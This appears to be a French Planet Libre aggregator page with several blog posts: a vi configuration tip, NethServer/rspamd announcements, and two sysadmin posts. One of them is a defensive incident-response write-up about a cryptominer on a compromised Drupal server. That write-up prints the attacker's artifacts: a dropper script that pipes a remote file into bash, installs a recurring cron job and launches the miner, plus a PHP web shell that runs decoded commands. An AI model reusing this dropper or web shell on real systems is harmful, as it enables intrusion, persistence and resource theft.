le 19/04/2018 à 20:01:27, trefix a dit :

Idéal pour bosser, en toutes circonstance : le "vi" et le couteau :D

/me => []

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Configurer vi (et pas vim)

Configurer vi (et pas vim)

Pour les barbus fervents de minimalisme, pas besoin de vim, vi suffit à lui tout seul :)

Afin de le configurer, il faut éditer le fichier ~/.exrc. Voici le contenu (tout petit) du mien :

set showmodeset numberset rulerset tabstop=4set shiftwidth=4 set autoindent

Le "man vi" vous donnera des détails si besoin ;)

le 18/04/2018 à 09:40:58, karchnu a dit :

En même temps vi a presque tout ce dont j'ai besoin… pas mal pour un petit programme qui a plus de 40 ans.

le 18/04/2018 à 10:15:18, Starsheep a dit :

Je pense que tu peux aller encore plus loin dans le minimalisme : ed.

Bon courage. :D

le 18/04/2018 à 17:12:48, thuban a dit :

@Starsheep : En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.
Mais clairement, vi est plus facile :)
Sinon, chiche ! Je te regarde ;)

le 18/04/2018 à 21:02:25, fougasse a dit :

@thuban :

En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.

→ tu veux dire "ex" et "vi" font partie du même programme non ?

le 18/04/2018 à 21:18:56, thuban a dit :

@fougasse : Ah oui, pardon, c'est bien "ex", j'ai confondu.

le 19/04/2018 à 20:01:27, trefix a dit :

Idéal pour bosser, en toutes circonstance : le "vi" et le couteau :D

/me => []

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Stéphane de Labrusse : Rspamd: un nouveau jouet pour Nethserver

Rspamd est un logiciel antispam, un concurrent en quelque sorte de spamassassin, qui n’est plus vraiment développé. Rspamd est jeune,  il apprend rapidement, extensible, en pleine mutation.

Cela en  fait un outil très intéressant pour NethServer qui propose par le biais de ses modules de pouvoir installer facilement un serveur email avec toutes les parties annexes (imap, pop3, opendkim, spf, spamassassin/rspamd, smtp relay, …).

Le tout en cliquant simplement dans le software center alors que le paramétrage de Postfix et sa sécurisation pourraient être un calvaire pour d’autres.

Pour l’instant rspamd est un module différent de la pile email habituelle, il vous faut installer les rpms : nethserver-mail2-server nethserver-mail2-filter mais la procédure est documentée et nous devons très bientôt remplacer spamassassin par rspamd.

La documentation est accessible ICI

Je peux dire nous, car avec fierté, j’ai largement contribué à créer ce module avec le soutien et l’aide de Davide Principi le lead-developer de NethServer.

Gravatar de Stéphane de Labrusse
Original post of Stéphane de Labrusse.Votez pour ce billet sur Planet Libre.

Articles similaires

Stéphane de Labrusse : La météore Nethserver

J’ai eu l’occasion de faire une conférence de présentation de la distribution Nethserver, le 18 novembre 2017 au capitole du libre. Je vous livre la présentation ainsi que la vidéo.

meteore_nethserver_20171118.odp

meteore_nethserver_20171118.pdf

 

Un grand moment pour moi, merci à tous les participants.

Gravatar de Stéphane de Labrusse
Original post of Stéphane de Labrusse.Votez pour ce billet sur Planet Libre.

Articles similaires

genma : Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2

Ce billet fait partie de la série :
-Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.

Attention :
- je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
- le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme a la source :

root@machine:~$ lsof -p le_PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1


Dans ce cas là, on a un fichier de configuration.


Détection des processus et fichiers ouverts par un utilisateur


root@machine:/# lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
sh 5399 www-data rtd DIR 8,1 4096 2 /
sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
curl 5400 www-data rtd DIR 8,1 4096 2 /
curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl

On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp

Blocage des IP des serveurs extérieurs

Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu

On cherche l'IP derrière cette machine via un simple et bête ping

root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms

Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.

On bannira cette IP.

On regarde le contenu du fichier de configuration

more config.json
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.XXX.XXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}

On bannira ces IP.

Vérification des connexions réseaux actives

Trois commandes et outils pour voir les connexions actives avant et après le bannissement

netstat -puant
Nethogs
Iftop

qui confirment les connexions aux serveurs.

Bannir les IP

Pour chaque série d'IP, on bannit via iptables

iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP

Connexion sortantes et entrantes bloquées, nettoyage...

Méthode barbare

rm -rf /tmp
rm -rf /var/tmp

Et on tue les processus liés à www-data

killall -u www-data

Autres fichiers en PHP dans la partie Drupal - site web

Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.

$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php iindex.phpcat lefichier |base64 -d
if(isset($_REQUEST['pass']))
{
echo "";
$hash = hash("sha512", $_REQUEST['pass']);
if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
{ if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
else echo "gtfo";
echo "";
die;
}

Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...

Les fichiers réapparaissent

Malgré les kill, le processus se relance et les fichiers réapparaissent.

On regarde de nouveau les processus

root@machine:/# ps -aux |grep rapport
rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport

root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com
root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).

On récupère le fichier via wget et on regarde son contenu

$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \\
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \\
crontab /tmp/cron || true && \\
rm -rf /tmp/cron || true && \\
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....

C'est ce processus masqué qui fait revenir les fichiers...

Ban de l'IP

iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP

Nettoyage des tâches cron

Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.

En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :

root@machine:/var/spool/cron/crontabs# ls
www-data

cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s

Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur

rm /var/spool/cron/crontabs/www-data
killall -u www-data

Changement des droits de /var/tmp

Par défaut, les droits de /var/tmp était en 777 sur cette machine...

chmod 755 /var/tmp

comme ça le processus lié à l'utilisateur php ne peut plus écrire.

Conclusion

On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...

Gravatar de genma
Original post of genma.Votez pour ce billet sur Planet Libre.

genma : Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1

Ce billet fait partie de la série :
-Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Le legacy ?

Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.

En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...

En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)

Dresser une cartographie complète de l'existant

A ma connaissance, il y a deux façons : la façon barbare et la façon longue et fastidieuse

La façon barbare : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.

Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.

La façon plus moderne

Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont ansiblelisées. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.

la façon longue et fastidieuse

J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.

Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...

Tableau de suivi

J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
- Nom de machine,
- IP publique
- IP privée
- Groupe
- Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
- Services
- Etat des sauvegardes : sauvegardée ou non
- Version de l'OS
- Etat des mises à jour
- Présence ou non de fail2ban
- Liste des ports ouverts sur l'extérieur
- Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).
...

Comment gérer le legacy ? Des O.S. obsolètes...

Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.

Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".

Il faut prendre ça avec humour.

Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.

Comment gérer le legacy ? Cas de la gestion des machines physiques

Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...

Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...

Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir & anticiper les pannes.

Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...

Comment gérer le legacy ? Lister les priorités et les services critiques

Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier :
- que l'on a des sauvegardes et que l'on sait les restaurer ;
- que ces sauvegardes marchent ;
- que les machines sont à jour...

Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).

Conclusion

Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.

Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.

Gravatar de genma
Original post of genma.Votez pour ce billet sur Planet Libre.

Pages